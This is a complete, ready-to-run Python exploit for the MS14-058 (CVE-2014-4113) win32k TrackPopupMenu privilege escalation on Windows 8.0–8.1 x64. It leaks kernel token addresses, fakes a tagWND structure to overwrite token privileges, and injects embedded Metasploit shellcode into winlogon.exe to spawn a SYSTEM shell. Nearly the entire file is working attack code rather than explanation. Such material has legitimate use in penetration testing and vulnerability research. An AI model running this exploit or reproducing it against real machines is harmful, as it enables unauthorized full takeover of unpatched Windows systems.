# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup
# http://www.exploit-db.com/docs/35152.pdf
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, threading, signal
ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING = 0x00000040
MIIM_SUBMENU = 0x00000004
WH_CALLWNDPROC = 0x4
GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
TH32CS_SNAPPROCESS = 0x02
WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)
bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None
# /*
# * windows/x64/exec - 275 bytes
# * http://www.metasploit.com
# * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
# * CMD=cmd.exe
# */
SHELLCODE = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR),
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22),
]
class MENUITEMINFO(Structure):
"""Contains information about a menu item."""
_fields_ = [
("cbSize" , UINT),
("fMask" , UINT),
("fType" , UINT),
("fState" , UINT),
("wID" , UINT),
("hSubMenu" , HMENU),
("hbmpChecked" , HBITMAP),
("hbmpUnchecked", HBITMAP),
("dwItemData" , ULONG_PTR),
("dwTypeData" , LPWSTR),
("cch" , UINT),
("hbmpItem" , HBITMAP),
]
class WNDCLASS(Structure):
"""Contains the window class attributes that are registered by the
RegisterClass function."""
_fields_ = [
("style" , UINT),
("lpfnWndProc" , WNDPROC),
("cbClsExtra" , INT),
("cbWndExtra" , INT),
("hInstance" , HINSTANCE),
("hIcon" , HCURSOR),
("hCursor" , HBITMAP),
("hbrBackground", HBRUSH),
("lpszMenuName" , LPWSTR),
("lpszClassName", LPWSTR),
]
class PROCESSENTRY32(Structure):
"""Describes an entry from a list of the processes residing in the system
address space when a snapshot was taken."""
_fields_ = [ ( 'dwSize' , DWORD ) ,
( 'cntUsage' , DWORD) ,
( 'th32ProcessID' , DWORD) ,
( 'th32DefaultHeapID' , POINTER(ULONG)) ,
( 'th32ModuleID' , DWORD) ,
( 'cntThreads' , DWORD) ,
( 'th32ParentProcessID' , DWORD) ,
( 'pcPriClassBase' , LONG) ,
( 'dwFlags' , DWORD) ,
( 'szExeFile' , CHAR * MAX_PATH )
]
user32 = windll.user32
kernel32 = windll.kernel32
ntdll = windll.ntdll
advapi32 = windll.advapi32
user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.PostMessageW.restype = BOOL
user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.DefWindowProcW.restype = LRESULT
user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1]
user32.UnhookWindowsHook.restype = BOOL
user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2]
user32.SetWindowLongPtrW.restype = LPVOID
user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM]
user32.CallNextHookEx.restype = LRESULT
user32.RegisterClassW.argtypes = [LPVOID]
user32.RegisterClassW.restype = BOOL
user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD,
INT, INT, INT, INT, HWND, HMENU,
HINSTANCE, LPVOID]
user32.CreateWindowExW.restype = HWND
user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID]
user32.InsertMenuItemW.restype = BOOL
user32.DestroyMenu.argtypes = [HMENU]
user32.DestroyMenu.restype = BOOL
user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD]
user32.SetWindowsHookExW.restype = BOOL
user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND,
DWORD]
user32.TrackPopupMenu.restype = BOOL
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD,
DWORD, DWORD, DWORD, DWORD,
POINTER(HANDLE)]
advapi32.CreateRestrictedToken.restype = BOOL
advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD,
DWORD, DWORD]
advapi32.AdjustTokenPrivileges.restype = BOOL
advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE]
advapi32.ImpersonateLoggedOnUser.restype = BOOL
kernel32.GetCurrentProcess.restype = HANDLE
kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD,
POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype = BOOL
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype = HANDLE
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD,
DWORD]
kernel32.VirtualAllocEx.restype = LPVOID
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD,
LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype = HANDLE
kernel32.CloseHandle.argtypes = [HANDLE]
kernel32.CloseHandle.restype = BOOL
kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32First.restype = BOOL
kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32Next.restype = BOOL
kernel32.GetCurrentThreadId.restype = DWORD
ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID,
ULONG, DWORD]
ntdll.NtAllocateVirtualMemory.restype = NTSTATUS
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD,
POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),
DWORD, DWORD]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes = [DWORD,
POINTER(SYSTEM_HANDLE_INFORMATION_EX),
DWORD, POINTER(DWORD)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
def log(msg, e=None):
if e == "e":
msg = "[!] " + msg
if e == "d":
msg = "[*] " + msg
else:
msg = "[+] " + msg
print msg
def getLastError():
"""Format GetLastError"""
buf = create_string_buffer(2048)
if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
kernel32.GetLastError(), 0,
buf, sizeof(buf), NULL):
log(buf.value, "e")
else:
log("Unknown Error", "e")
class x_file_handles (Exception):
pass
def get_type_info(handle):
"""Get the handle type information."""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = ntdll.NtQueryObject(handle, ObjectDataInformation,
byref(public_object_type_information), size, 0x0)
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return "INVALID HANDLE: %s" % hex(handle)
else:
raise x_file_handles("NtQueryObject", hex(result))
def get_handles():
"""Return all the open handles in the system"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def WndProc(hwnd, message, wParam, lParam):
"""Window procedure"""
global bWndProcFlag
if message == 289 and not bWndProcFlag:
bWndProcFlag = True
user32.PostMessageW(hwnd, 256, 40, 0)
user32.PostMessageW(hwnd, 256, 39, 0)
user32.PostMessageW(hwnd, 513, 0, 0)
return user32.DefWindowProcW(hwnd, message, wParam, lParam)
def hook_callback_one(code, wParam, lParam):
"""Sets a new address for the window procedure"""
global bHookCallbackFlag
if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\
not bHookCallbackFlag:
bHookCallbackFlag = True
if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):
# Sets a new address for the window procedure
log("Callback triggered!")
log("Setting the new address for the window procedure...")
lpPrevWndFunc = user32.SetWindowLongPtrW\
((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value,
GWLP_WNDPROC, CALLBACK02)
return user32.CallNextHookEx(0, code, wParam, lParam)
def hook_callback_two(hWnd, Msg, wParam, lParam):
"""Once called will return the fake tagWND address"""
global EXPLOITED
user32.EndMenu()
EXPLOITED = True
log("Returning the fake tagWND and overwriting token privileges...")
return 0x00000000FFFFFFFB
def buildMenuAndTrigger():
"""Create menus and invoke TrackPopupMenu"""
global Hmenu01, Hmenu02
log("Creating windows and menus...")
wndClass = WNDCLASS()
wndClass.lpfnWndProc = WNDPROC(WndProc)
wndClass.lpszClassName = u"pwned"
wndClass.cbClsExtra = wndClass.cbWndExtra = 0
# Registering Class
if not user32.RegisterClassW(addressof(wndClass)):
log("RegisterClassW failed", "e")
sys.exit()
# Creating the Window
hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,
0, NULL, NULL, NULL, NULL)
if not hWnd:
log("CreateWindowExW Failed", "e")
sys.exit()
# Creating popup menu
user32.CreatePopupMenu.restype = HMENU
Hmenu01 = user32.CreatePopupMenu()
if not Hmenu01:
log("CreatePopupMenu failed 0x1", "e")
sys.exit()
Hmenu01Info = MENUITEMINFO()
Hmenu01Info.cbSize = sizeof(MENUITEMINFO)
Hmenu01Info.fMask = MIIM_STRING
# Insert first menu
if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):
log("Error in InsertMenuItema 0x1", "e")
user32.DestroyMenu(Hmenu01)
sys.exit()
# Creating second menu
Hmenu02 = user32.CreatePopupMenu()
if not Hmenu02:
log("CreatePopupMenu failed 0x2", "e")
sys.exit()
Hmenu02Info = MENUITEMINFO()
Hmenu02Info.cbSize = sizeof(MENUITEMINFO)
Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)
Hmenu02Info.dwTypeData = ""
Hmenu02Info.cch = 1
Hmenu02Info.hSubMenu = Hmenu01
# Insert second menu
if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):
log("Error in InsertMenuItema 0x2", "e")
user32.DestroyMenu(Hmenu01)
user32.DestroyMenu(Hmenu01)
sys.exit()
# Set window callback
tid = kernel32.GetCurrentThreadId()
if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):
log("Failed SetWindowsHookExA 0x1", "e")
sys.exit()
# Crash it!
log("Invoking TrackPopupMenu...")
user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)
def alloctagWND():
"""Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""
hProcess = HANDLE(kernel32.GetCurrentProcess())
hToken = HANDLE()
hRestrictedToken = HANDLE()
if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)):
log("Could not open current process token", "e")
getLastError()
sys.exit()
if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0,
0, 0, 0, 0, byref(hRestrictedToken)):
log("Could not create the restricted token", "e")
getLastError()
sys.exit()
if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0,
NULL, NULL):
log("Could not adjust privileges to the restricted token", "e")
getLastError()
sys.exit()
# Leak Token addresses in kernel space
log("Leaking token addresses from kernel space...")
for pid, handle, obj in get_handles():
if pid==os.getpid() and get_type_info(handle) == "Token":
if hToken.value == handle:
log("Current process token address: %x" % obj)
if hRestrictedToken.value == handle:
log("Restricted token address: %x" % obj)
RestrictedToken = obj
CurrentProcessWin32Process = "\x00"*8
# nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES
# +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8
TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8)
tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\
"\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\
"\x00"*8 +\
"\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\
TokenAddress + "\x47"*0x28
## Allocate space for the input buffer
lpBaseAddress = LPVOID(0x00000000fffffff0)
Zerobits = ULONG(0)
RegionSize = LPVOID(0x1000)
written = LPVOID(0)
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,
byref(lpBaseAddress),
0x0,
byref(RegionSize),
VIRTUAL_MEM,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
log("Failed to allocate tagWND object", "e")
getLastError()
sys.exit()
# Copy input buffer to the fake tagWND
nSize = 0x200
written = LPVOID(0)
lpBaseAddress = QWORD(0x00000000fffffff0)
dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff,
lpBaseAddress,
tagWND,
nSize,
byref(written))
if dwStatus == 0:
log("Failed to copy the input buffer to the tagWND object", "e")
getLastError()
sys.exit()
log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\
(written.value, lpBaseAddress.value))
return hRestrictedToken
def injectShell(hPrivilegedToken):
"""Impersonate privileged token and inject shellcode into winlogon.exe"""
while not EXPLOITED:
time.sleep(0.1)
log("-"*70)
log("Impersonating the privileged token...")
if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
log("Could not impersonate the privileged token", "e")
getLastError()
sys.exit()
# Get winlogon.exe pid
pid = getpid("winlogon.exe")
# Get a handle to the winlogon process we are injecting into
hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not hProcess:
log("Couldn't acquire a handle to PID: %s" % pid, "e")
sys.exit()
log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)
# Creating shellcode buffer to inject into the host process
sh = create_string_buffer(SHELLCODE, len(SHELLCODE))
code_size = len(SHELLCODE)
# Allocate some space for the shellcode (in the program memory)
sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM,
PAGE_EXECUTE_READWRITE)
if not sh_address:
log("Could not allocate shellcode in the remote process")
getLastError()
sys.exit()
log("Allocated memory at address 0x%x" % sh_address)
# Inject shellcode in to winlogon.exe process space
written = LPVOID(0)
shellcode = QWORD(sh_address)
dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size,
byref(written))
if not dwStatus:
log("Could not write shellcode into winlogon.exe", "e")
getLastError()
sys.exit()
log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))
# Now we create the remote thread and point its entry routine to be head of
# our shellcode
thread_id = HANDLE(0)
if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0,
byref(thread_id)):
log("Failed to inject shellcode into winlogon.exe")
sys.exit(0)
log("Remote thread 0x%08x created" % thread_id.value)
log("Spawning SYSTEM shell...")
# Kill python process to kill the window and avoid BSODs
os.kill(os.getpid(), signal.SIGABRT)
def getpid(procname):
""" Get Process Pid by procname """
pid = None
try:
hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = sizeof(PROCESSENTRY32)
ret = kernel32.Process32First(hProcessSnap , byref(pe32))
while ret:
if pe32.szExeFile == LPSTR(procname).value:
pid = pe32.th32ProcessID
ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
kernel32.CloseHandle ( hProcessSnap )
except Exception, e:
log(str(e), "e")
if not pid:
log("Could not find %s PID" % procname)
sys.exit()
return pid
CALLBACK01 = WinFunc1(hook_callback_one)
CALLBACK02 = WinFunc2(hook_callback_two)
if __name__ == '__main__':
log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com",
"d")
# Prepare the battlefield
hPrivilegedToken = alloctagWND()
# Start the injection thread
t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,))
t1.daemon = False
t1.start()
# Trigger the vuln
buildMenuAndTrigger()